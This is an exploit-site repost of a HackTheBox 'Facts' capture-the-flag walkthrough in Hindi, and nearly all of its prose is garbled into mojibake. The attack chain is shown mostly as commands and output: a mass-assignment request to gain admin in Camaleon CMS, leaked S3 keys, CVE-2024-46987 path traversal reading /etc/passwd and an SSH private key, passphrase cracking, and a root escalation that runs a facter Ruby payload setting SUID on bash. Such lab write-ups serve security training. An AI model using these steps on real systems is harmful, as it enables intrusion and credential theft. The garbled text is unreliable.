Sploitus

Exploit for HackTheBox-Facts

kitploit ┬╖ 2026-08-26

Exploit Code

MARKDOWN449 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-SURIYABOON-HACKTHEBOX-FACTS
# HTB рддрдереНрдп тАФ рдкреВрд░реНрдг рд░рд╛рдЗрдЯрдЕрдк

**рдХрдард┐рдирд╛рдИ:** рдордзреНрдпрдо  
**OS:** Linux  
**рдЯреИрдЧ:** Web, MinIO, Camaleon CMS, рдкрде рднреНрд░рдордг, SSTI, рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╡реГрджреНрдзрд┐

* * *

## рд╡рд┐рд╖рдп-рд╕реВрдЪреА

  1. рдЯреЛрд╣
  2. рд╡реЗрдм рдПрдиреБрдорд░реЗрд╢рди тАФ рдкреЛрд░реНрдЯ 80
  3. MinIO рдЦреЛрдЬ тАФ рдкреЛрд░реНрдЯ 54321
  4. Camaleon CMS тАФ рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдкрд╣реБрдБрдЪ
  5. рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рднреВрдорд┐рдХрд╛ рдХреЗ рд▓рд┐рдП рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╡реГрджреНрдзрд┐
  6. MinIO рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХреА рдЦреЛрдЬ
  7. рдордирдорд╛рдирд╛ рдлрд╝рд╛рдЗрд▓ рдкрдврд╝рдирд╛ тАФ CVE-2024-46987
  8. SSH рдкрд╣реБрдБрдЪ trivia рдХреЗ рд░реВрдк рдореЗрдВ
  9. рд░реВрдЯ рддрдХ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╡реГрджреНрдзрд┐
  10. рдЭрдВрдбреЗ



* * *

## рдЯреЛрд╣

рд╕рднреА рдЦреБрд▓реЗ TCP рдкреЛрд░реНрдЯ рдХреА рдкрд╣рдЪрд╛рди рдХреЗ рд▓рд┐рдП рдкреВрд░реНрдг TCP рдкреЛрд░реНрдЯ рд╕реНрдХреИрди рд╕реЗ рдкреНрд░рд╛рд░рдВрдн рдХрд░реЗрдВред

root@kitploit:~
    
    
    nmap -p- --min-rate 5000 -T4 10.129.244.96
    

**рдкрд░рд┐рдгрд╛рдо:**

рдкреЛрд░реНрдЯ| рд╕реЗрд╡рд╛| рдЯрд┐рдкреНрдкрдгреА  
---|---|---  
22| SSH| OpenSSH  
80| HTTP| Nginx 1.26.3 (Ubuntu)  
54321| рдЕрдЬреНрдЮрд╛рдд| MinIO рдХреЗ рд░реВрдк рдореЗрдВ рдкрд╣рдЪрд╛рдирд╛ рдЧрдпрд╛  
  
рд▓рдХреНрд╖реНрдп рдХреЛ `/etc/hosts` рдореЗрдВ рдЬреЛрдбрд╝реЗрдВ:

root@kitploit:~
    
    
    echo "10.129.244.96 facts.htb" >> /etc/hosts
    

* * *

## рд╡реЗрдм рдПрдиреБрдорд░реЗрд╢рди тАФ рдкреЛрд░реНрдЯ 80

`http://facts.htb` рдкрд░ рдмреНрд░рд╛рдЙрдЬрд╝ рдХрд░рдиреЗ рдкрд░ **Camaleon CMS** (Ruby on Rails) рдкрд░ рдмрдирд╛ рдПрдХ рдЯреНрд░рд┐рд╡рд┐рдпрд╛ рд╡реЗрдмрд╕рд╛рдЗрдЯ рджрд┐рдЦрд╛рдИ рджреЗрддреА рд╣реИред рдореБрдЦреНрдп рд╕рдВрдХреЗрддрдХ:

  * рдХреБрдХреА рдирд╛рдо: `_factsapp_session` (Rails рд╕рддреНрд░)
  * рд╕рдВрдкрддреНрддрд┐ рдкрде: `/assets/themes/camaleon_first/`
  * рдореЗрдЯрд╛ рдЯреИрдЧ рдореЗрдВ CSRF рдЯреЛрдХрди
  * рд╕рд░реНрд╡рд░: `nginx/1.26.3 (Ubuntu)`



рд╕рднреА рдЙрдкрд▓рдмреНрдз рдкреГрд╖реНрдареЛрдВ рдХреЗ рд▓рд┐рдП рд╕рд╛рдЗрдЯрдореИрдк рд╕реВрдЪреАрдмрджреНрдз рдХрд░реЗрдВ:

root@kitploit:~
    
    
    curl -s http://facts.htb/sitemap.xml
    

рдЦреЛрдЬреЗ рдЧрдП рдЙрд▓реНрд▓реЗрдЦрдиреАрдп рдкрде:

  * `/admin` тЖТ `/admin/login` рдкрд░ рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯ рдХрд░рддрд╛ рд╣реИ
  * `/rss`
  * рд╡рд┐рднрд┐рдиреНрди рдЯреНрд░рд┐рд╡рд┐рдпрд╛ рдкреГрд╖реНрда: `/animal-ejected`, `/anne-frank`, рдЖрджрд┐ред



рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рд▓реЙрдЧрд┐рди рдкреИрдирд▓ рдХреА рдЬрд╛рдБрдЪ рдХрд░реЗрдВ:

root@kitploit:~
    
    
    curl -v http://facts.htb/admin
    # тЖТ 302 рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯ /admin/login рдкрд░
    

* * *

## MinIO рдЦреЛрдЬ тАФ рдкреЛрд░реНрдЯ 54321

curl рдХреЗ рд╕рд╛рде рдЕрдЬреНрдЮрд╛рдд рдкреЛрд░реНрдЯ рдХреА рдЬрд╛рдБрдЪ рдХрд░рдиреЗ рдкрд░ **MinIO** рдХрд╛ рдкрддрд╛ рдЪрд▓рддрд╛ рд╣реИ, рдЬреЛ рдПрдХ S3-рд╕рдВрдЧрдд рдСрдмреНрдЬреЗрдХреНрдЯ рд╕реНрдЯреЛрд░реЗрдЬ рд╕реЗрд╡рд╛ рд╣реИ:

root@kitploit:~
    
    
    curl -v http://facts.htb:54321
    

**рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛:**

root@kitploit:~
    
    
    <Error>
      <Code>AccessDenied</Code>
      <Message>Access Denied.</Message>
    </Error>
    

рд╣реЗрдбрд░ рдкреБрд╖реНрдЯрд┐ рдХрд░рддреЗ рд╣реИрдВ: `Server: MinIO`

рд╕рдВрднрд╛рд╡рд┐рдд рдмрдХреЗрдЯ рдирд╛рдореЛрдВ рдХреА рд╕реВрдЪреА рдмрдирд╛рдПрдБ (рд╕рднреА 403 рд▓реМрдЯрд╛рддреЗ рд╣реИрдВ, рдЬреЛ рдЙрдирдХреЗ рдЕрд╕реНрддрд┐рддреНрд╡ рдХреА рдкреБрд╖реНрдЯрд┐ рдХрд░рддрд╛ рд╣реИ):

root@kitploit:~
    
    
    for bucket in facts backup uploads media files images data private secret admin internal; do
      code=$(curl -s -o /dev/null -w "%{http_code}" http://facts.htb:54321/$bucket)
      echo "$bucket: $code"
    done
    

рд╕рднреА `403 Forbidden` рд▓реМрдЯрд╛рддреЗ рд╣реИрдВ тАФ рдмрдХреЗрдЯ рдореМрдЬреВрдж рд╣реИрдВ рд▓реЗрдХрд┐рди рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдЖрд╡рд╢реНрдпрдХ рд╣реИрдВред

* * *

## Camaleon CMS тАФ рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдкрд╣реБрдБрдЪ

### CMS рдХреА рдкрд╣рдЪрд╛рди

рдПрд╕реЗрдЯ рдкрде рдФрд░ рд╕рддреНрд░ рдХреБрдХреА рд╕реЗ, CMS рдХреА рдкрд╣рдЪрд╛рди **Camaleon CMS** рдХреЗ рд░реВрдк рдореЗрдВ рд╣реЛрддреА рд╣реИред

рдЬреНрдЮрд╛рдд рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреА рдЬрд╛рдБрдЪ рдХрд░реЗрдВ:

root@kitploit:~
    
    
    searchsploit camaleon
    

**рдкрд░рд┐рдгрд╛рдо:**

root@kitploit:~
    
    
    Camaleon CMS v2.7.0 - Server-Side Template Injection (SSTI)   | ruby/webapps/51489.txt
    

рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдкреИрдирд▓ рд╕рдВрд╕реНрдХрд░рдг **2.9.0** рдХреЗ рд░реВрдк рдореЗрдВ рдкреБрд╖реНрдЯрд┐ рд╣реЛрддреА рд╣реИ (рд▓реЙрдЧрд┐рди рдХреЗ рдмрд╛рдж рдлреБрдЯрд░ рдореЗрдВ рджрд┐рдЦрд╛рдИ рджреЗрддрд╛ рд╣реИ)ред

### рдЦрд╛рддрд╛ рдмрдирд╛рдирд╛

`http://facts.htb/admin/login` рдкрд░ рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рд▓реЙрдЧрд┐рди рдкреГрд╖реНрда рдореЗрдВ **"рдЦрд╛рддрд╛ рдмрдирд╛рдПрдБ"** рд▓рд┐рдВрдХ рд╢рд╛рдорд┐рд▓ рд╣реИред рдПрдХ рдирдпрд╛ рдЦрд╛рддрд╛ рдкрдВрдЬреАрдХреГрдд рдХрд░реЗрдВ:

  * `http://facts.htb/admin/users/sign_up` рдкрд░ рдЬрд╛рдПрдБ
  * рдХреЛрдИ рднреА рдорд╛рдиреНрдп рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓ рднрд░реЗрдВ (рдЬреИрд╕реЗ `test123` / `test123`)
  * рд╕рдмрдорд┐рдЯ рдХрд░реЗрдВ тАФ рдпрд╣ `Client` рднреВрдорд┐рдХрд╛ рд╡рд╛рд▓рд╛ рдЦрд╛рддрд╛ рдмрдирд╛рддрд╛ рд╣реИ



рдкрдВрдЬреАрдХрд░рдг рдХреЗ рдмрд╛рдж, рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдбреИрд╢рдмреЛрд░реНрдб рдореЗрдВ рд▓реЙрдЧ рдЗрди рдХрд░реЗрдВред рдЦрд╛рддреЗ рдореЗрдВ рд╕реАрдорд┐рдд `Client` рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╣реИрдВред

* * *

## рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рднреВрдорд┐рдХрд╛ рдХреЗ рд▓рд┐рдП рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╡реГрджреНрдзрд┐

### рдорд╛рд╕ рдЕрд╕рд╛рдЗрдирдореЗрдВрдЯ рднреЗрджреНрдпрддрд╛

Camaleon CMS рдкрд╛рд╕рд╡рд░реНрдб рдмрджрд▓рдиреЗ рд╡рд╛рд▓реЗ рдПрдВрдбрдкреЙрдЗрдВрдЯ рдкрд░ **рдорд╛рд╕ рдЕрд╕рд╛рдЗрдирдореЗрдВрдЯ** рд╣рдорд▓реЗ рдХреЗ рд▓рд┐рдП рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рд╣реИред рдкрд╛рд╕рд╡рд░реНрдб рдмрджрд▓рдиреЗ рдХреЗ рдЕрдиреБрд░реЛрдз рдХреЛ рдЗрдВрдЯрд░рд╕реЗрдкреНрдЯ рдХрд░рдХреЗ рдФрд░ `password[role]` рдкреИрд░рд╛рдореАрдЯрд░ рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рдХреЗ, рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдЕрдкрдиреА рднреВрдорд┐рдХрд╛ рдХреЛ `admin` рддрдХ рдмрдврд╝рд╛ рд╕рдХрддрд╛ рд╣реИред

**Burp Suite рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП рдХрджрдо:**

  1. `Client` рдЦрд╛рддреЗ рдХреЗ рд╕рд╛рде рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдкреИрдирд▓ рдореЗрдВ рд▓реЙрдЧ рдЗрди рдХрд░реЗрдВред
  2. `рдкреНрд░реЛрдлрд╝рд╛рдЗрд▓ тЖТ рд╕рдВрдкрд╛рджрд┐рдд рдХрд░реЗрдВ тЖТ рдкрд╛рд╕рд╡рд░реНрдб рдмрджрд▓реЗрдВ` рдкрд░ рдЬрд╛рдПрдБред
  3. рдХреЛрдИ рднреА рдирдпрд╛ рдкрд╛рд╕рд╡рд░реНрдб рджрд░реНрдЬ рдХрд░реЗрдВ рдФрд░ **рдкреНрд░рдХреНрд░рд┐рдпрд╛** рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░реЗрдВред
  4. Burp Suite рдореЗрдВ POST рдЕрдиреБрд░реЛрдз рдХреЛ рдЗрдВрдЯрд░рд╕реЗрдкреНрдЯ рдХрд░реЗрдВред
  5. рдЕрдиреБрд░реЛрдз рдмреЙрдбреА рдореЗрдВ `&password[role]=admin` рдЬреЛрдбрд╝реЗрдВ:



root@kitploit:~
    
    
    _method=patch&authenticity_token=<TOKEN>&password%5Bpassword%5D=test123&password%5Bpassword_confirmation%5D=test123&password[role]=admin
    

  6. рдЕрдиреБрд░реЛрдз рдХреЛ рдЖрдЧреЗ рднреЗрдЬреЗрдВ тАФ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ `200 OK` рд╣реЛрдиреА рдЪрд╛рд╣рд┐рдПред
  7. рдЕрдкрдбреЗрдЯ рдХрд┐рдП рдЧрдП рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓ рдХреЗ рд╕рд╛рде рдлрд┐рд░ рд╕реЗ рд▓реЙрдЧ рдЗрди рдХрд░реЗрдВред



рдЦрд╛рддреЗ рдореЗрдВ рдЕрдм **рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ** рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╣реИрдВ, рдЬреЛ CMS рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдкреИрдирд▓ рддрдХ рдкреВрд░реНрдг рдкрд╣реБрдБрдЪ рдкреНрд░рджрд╛рди рдХрд░рддреЗ рд╣реИрдВ, рдЬрд┐рд╕рдореЗрдВ `рд╕реЗрдЯрд┐рдВрдЧреНрд╕`, `рдореАрдбрд┐рдпрд╛` рдФрд░ `рдлрд╝рд╛рдЗрд▓ рд╕рд┐рд╕реНрдЯрдо рд╕реЗрдЯрд┐рдВрдЧреНрд╕` рд╢рд╛рдорд┐рд▓ рд╣реИрдВред

* * *

## MinIO рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХреА рдЦреЛрдЬ

рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдкрд╣реБрдБрдЪ рдХреЗ рд╕рд╛рде, рдпрд╣рд╛рдБ рдЬрд╛рдПрдБ:

root@kitploit:~
    
    
    рд╕реЗрдЯрд┐рдВрдЧреНрд╕ тЖТ рд╕рд╛рдорд╛рдиреНрдп рд╕рд╛рдЗрдЯ тЖТ рдлрд╝рд╛рдЗрд▓ рд╕рд┐рд╕реНрдЯрдо рд╕реЗрдЯрд┐рдВрдЧреНрд╕
    

рдкреГрд╖реНрда рд╣рд╛рд░реНрдбрдХреЛрдбреЗрдб MinIO (AWS S3-рд╕рдВрдЧрдд) рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓ рдкреНрд░рдХрдЯ рдХрд░рддрд╛ рд╣реИ:

root@kitploit:~
    
    
    AWS S3 рдкрд╣реБрдБрдЪ рдХреБрдВрдЬреА:    AKIA59D605615FFC8875
    AWS S3 рдЧреБрдкреНрдд рдХреБрдВрдЬреА:    O8RU3/gJFlfcZAievtTfBaxJbOg5ZOwa0tmIZLWt
    AWS S3 рдмрдХреЗрдЯ рдирд╛рдо:       randomfacts
    AWS S3 рдХреНрд╖реЗрддреНрд░:         us-east-1
    AWS S3 рдПрдВрдбрдкреЙрдЗрдВрдЯ:       http://localhost:54321
    

AWS CLI рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд░реЗрдВ рдФрд░ рдмрдХреЗрдЯ рд╕реВрдЪреАрдмрджреНрдз рдХрд░реЗрдВ:

root@kitploit:~
    
    
    export AWS_ACCESS_KEY_ID='AKIA59D605615FFC8875'
    export AWS_SECRET_ACCESS_KEY='O8RU3/gJFlfcZAievtTfBaxJbOg5ZOwa0tmIZLWt'
    export AWS_DEFAULT_REGION='us-east-1'
    
    aws s3 ls --endpoint-url http://facts.htb:54321
    

**рдЦреЛрдЬреЗ рдЧрдП рдмрдХреЗрдЯ:**

root@kitploit:~
    
    
    2025-09-11  internal
    2025-09-11  randomfacts
    

`internal` рдмрдХреЗрдЯ рдореЗрдВ `trivia` рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреА рд╣реЛрдо рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рд╢рд╛рдорд┐рд▓ рд╣реИ:

root@kitploit:~
    
    
    aws s3 ls s3://internal/ --endpoint-url http://facts.htb:54321
    aws s3 ls s3://internal/.ssh/ --endpoint-url http://facts.htb:54321
    
    # SSH рдирд┐рдЬреА рдХреБрдВрдЬреА рдбрд╛рдЙрдирд▓реЛрдб рдХрд░реЗрдВ
    aws s3 cp s3://internal/.ssh/id_ed25519 ./id_ed25519 --endpoint-url http://facts.htb:54321
    

* * *

## рдордирдорд╛рдирд╛ рдлрд╝рд╛рдЗрд▓ рдкрдврд╝рдирд╛ тАФ CVE-2024-46987

рд╡реИрдХрд▓реНрдкрд┐рдХ рд░реВрдк рд╕реЗ, SSH рдирд┐рдЬреА рдХреБрдВрдЬреА рдХреЛ **CVE-2024-46987** рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдкреНрд░рд╛рдкреНрдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬреЛ Camaleon CMS рдореЗрдВ рдПрдХ рдкреНрд░рдорд╛рдгрд┐рдд рдкрде рднреНрд░рдордг рднреЗрджреНрдпрддрд╛ рд╣реИ рдЬреЛ рд╕рд░реНрд╡рд░ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рдордирдорд╛рдиреЗ рдврдВрдЧ рд╕реЗ рдкрдврд╝рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИред

рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ PoC рдХреНрд▓реЛрди рдХрд░реЗрдВ:

root@kitploit:~
    
    
    git clone https://github.com/Goultarde/CVE-2024-46987
    cd CVE-2024-46987
    

рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдлрд╝рд╛рдЗрд▓реЗрдВ рдкрдврд╝реЗрдВ:

root@kitploit:~
    
    
    # рдЪрд░рдг 1: рд╕рд┐рд╕реНрдЯрдо рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреА рдЧрдгрдирд╛ рдХреЗ рд▓рд┐рдП /etc/passwd рдкрдврд╝реЗрдВ
    python CVE-2024-46987.py -u http://facts.htb --user test123 -p test123 /etc/passwd
    

**рдЖрдЙрдЯрдкреБрдЯ (рдкреНрд░рд╛рд╕рдВрдЧрд┐рдХ рдкрдВрдХреНрддрд┐рдпрд╛рдБ):**

root@kitploit:~
    
    
    trivia:x:1000:1000:facts.htb:/home/trivia:/bin/bash
    william:x:1001:1001::/home/william:/bin/bash
    

рджреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдкрд╣рдЪрд╛рдиреЗ рдЧрдП: `trivia` рдФрд░ `william`ред рдЪреВрдБрдХрд┐ `trivia` рдХреЗ рдкрд╛рд╕ рд▓реЙрдЧрд┐рди рд╢реЗрд▓ рдФрд░ рд╣реЛрдо рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рд╣реИ, SSH рдирд┐рдЬреА рдХреБрдВрдЬреА рдХреА рдЬрд╛рдБрдЪ рдХрд░реЗрдВ:

root@kitploit:~
    
    
    # рдЪрд░рдг 2: trivia рдХреА SSH рдирд┐рдЬреА рдХреБрдВрдЬреА рдкрдврд╝реЗрдВ
    python CVE-2024-46987.py -u http://facts.htb --user test123 -p test123 /home/trivia/.ssh/id_ed25519
    

рдХреБрдВрдЬреА рдЖрдЙрдЯрдкреБрдЯ рдХреЛ рдПрдХ рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рд╕рд╣реЗрдЬреЗрдВ:

root@kitploit:~
    
    
    chmod 600 id_ed25519
    

* * *

## SSH рдкрд╣реБрдБрдЪ trivia рдХреЗ рд░реВрдк рдореЗрдВ

### SSH рдХреБрдВрдЬреА рдкрд╛рд╕рдлрд╝реНрд░реЗрдЬрд╝ рдХреНрд░реИрдХ рдХрд░рдирд╛

SSH рдирд┐рдЬреА рдХреБрдВрдЬреА рдПрдХ рдкрд╛рд╕рдлрд╝реНрд░реЗрдЬрд╝ рд╕реЗ рдПрдиреНрдХреНрд░рд┐рдкреНрдЯ рдХреА рдЧрдИ рд╣реИред рдЗрд╕реЗ рдХреНрд░реИрдХ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП `ssh2john` рдФрд░ `john` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ:

root@kitploit:~
    
    
    ssh2john id_ed25519 > ssh.hash
    john ssh.hash --wordlist=/usr/share/wordlists/rockyou.txt
    

**рдХреНрд░реИрдХ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдкрд╛рд╕рдлрд╝реНрд░реЗрдЬрд╝:** `dragonballz`

### SSH рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд▓реЙрдЧрд┐рди

root@kitploit:~
    
    
    ssh -i id_ed25519 some-email@example.com
    # рдкрд╛рд╕рдлрд╝реНрд░реЗрдЬрд╝ рджрд░реНрдЬ рдХрд░реЗрдВ: dragonballz
    

рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЭрдВрдбрд╛ рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ:

root@kitploit:~
    
    
    cat /home/william/user.txt
    

* * *

## рд░реВрдЯ рддрдХ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╡реГрджреНрдзрд┐

### sudo рдЕрдиреБрдорддрд┐рдпрд╛рдБ

`trivia` рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд▓рд┐рдП sudo рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдЬрд╛рдБрдЪреЗрдВ:

root@kitploit:~
    
    
    sudo -l
    

**рдЖрдЙрдЯрдкреБрдЯ:**

root@kitploit:~
    
    
    User trivia may run the following commands on facts:
        (ALL) NOPASSWD: /usr/bin/facter
    

рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдмрд┐рдирд╛ рдкрд╛рд╕рд╡рд░реНрдб рдХреЗ рд░реВрдЯ рдХреЗ рд░реВрдк рдореЗрдВ `/usr/bin/facter` рдЪрд▓рд╛ рд╕рдХрддрд╛ рд╣реИред `facter` рдПрдХ Ruby-рдЖрдзрд╛рд░рд┐рдд рд╕рд┐рд╕реНрдЯрдо рд╕реВрдЪрдирд╛ рдЙрдкрдХрд░рдг рд╣реИред

### GTFOBins тАФ facter

GTFOBins рдХреЗ рдЕрдиреБрд╕рд╛рд░, `facter` `--custom-dir` рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХрд╕реНрдЯрдо Ruby рддрдереНрдп рдлрд╝рд╛рдЗрд▓реЗрдВ рд▓реЛрдб рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдЬреЛ рдЖрд╣реНрд╡рд╛рди рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ (рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ рд░реВрдЯ) рдХреЗ рд░реВрдк рдореЗрдВ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛрддреА рд╣реИрдВред

**рд╢реЛрд╖рдг:**

root@kitploit:~
    
    
    # рд╢реЛрд╖рдг рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдФрд░ Ruby рдкреЗрд▓реЛрдб рдмрдирд╛рдПрдБ
    mkdir -p /tmp/exploit_facts
    cat > /tmp/exploit_facts/evil.rb << 'EOF'
    system("chmod +s /bin/bash")
    EOF
    
    # рдХрд╕реНрдЯрдо рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдХреЗ рд╕рд╛рде рд░реВрдЯ рдХреЗ рд░реВрдк рдореЗрдВ facter рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдВ
    sudo /usr/bin/facter --custom-dir=/tmp/exploit_facts/ x
    
    # bash рдкрд░ SUID рдмрд┐рдЯ рд╕реЗрдЯ рд╣реИ рдпрд╣ рд╕рддреНрдпрд╛рдкрд┐рдд рдХрд░реЗрдВ
    ls -la /bin/bash
    # -rwsr-sr-x 1 root root ...
    
    # рд░реВрдЯ рд╢реЗрд▓ рд▓реЙрдиреНрдЪ рдХрд░реЗрдВ
    /bin/bash -p
    

### рд░реВрдЯ рдЭрдВрдбрд╛ рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ

root@kitploit:~
    
    
    whoami
    # root
    
    cat /root/root.txt
    

* * *

## рдЭрдВрдбреЗ

рдЭрдВрдбрд╛| рд╕реНрдерд╛рди  
---|---  
user.txt| `/home/william/user.txt`  
root.txt| `/root/root.txt`  
  
* * *

## рд╣рдорд▓рд╛ рд╢реНрд░реГрдВрдЦрд▓рд╛ рд╕рд╛рд░рд╛рдВрд╢

root@kitploit:~
    
    
    Nmap рд╕реНрдХреИрди
        тЖУ
    рдкреЛрд░реНрдЯ 80: Camaleon CMS 2.9.0
        тЖУ
    рдХреНрд▓рд╛рдЗрдВрдЯ рдЦрд╛рддрд╛ рдкрдВрдЬреАрдХреГрдд рдХрд░реЗрдВ тЖТ рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдкреИрдирд▓
        тЖУ
    рдорд╛рд╕ рдЕрд╕рд╛рдЗрдирдореЗрдВрдЯ: password[role]=admin тЖТ рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рднреВрдорд┐рдХрд╛
        тЖУ
    рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рд╕реЗрдЯрд┐рдВрдЧреНрд╕ тЖТ MinIO рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдЙрдЬрд╛рдЧрд░
        тЖУ
    CVE-2024-46987: рдкрде рднреНрд░рдордг тЖТ /home/trivia/.ssh/id_ed25519 рдкрдврд╝реЗрдВ
        тЖУ
    ssh2john + John тЖТ рдкрд╛рд╕рдлрд╝реНрд░реЗрдЬрд╝: dragonballz
        тЖУ
    trivia рдХреЗ рд░реВрдк рдореЗрдВ SSH рд▓реЙрдЧрд┐рди
        тЖУ
    sudo facter --custom-dir (GTFOBins) тЖТ chmod +s /bin/bash
        тЖУ
    /bin/bash -p тЖТ root
    

* * *

## CVEs рдФрд░ рд╕рдВрджрд░реНрдн

CVE| рд╡рд┐рд╡рд░рдг  
---|---  
CVE-2024-46987| Camaleon CMS рдкреНрд░рдорд╛рдгрд┐рдд рдкрде рднреНрд░рдордг / рдордирдорд╛рдирд╛ рдлрд╝рд╛рдЗрд▓ рдкрдврд╝рдирд╛  
CVE-2023-30145| Camaleon CMS v2.7.0 SSTI formats рдкреИрд░рд╛рдореАрдЯрд░ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ (рдЗрд╕ рдмреЙрдХреНрд╕ рдореЗрдВ рдЙрдкрдпреЛрдЧ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЧрдпрд╛)  
  
  * GTFOBins тАФ facter
  * CVE-2024-46987 PoC
  * Camaleon CMS GitHub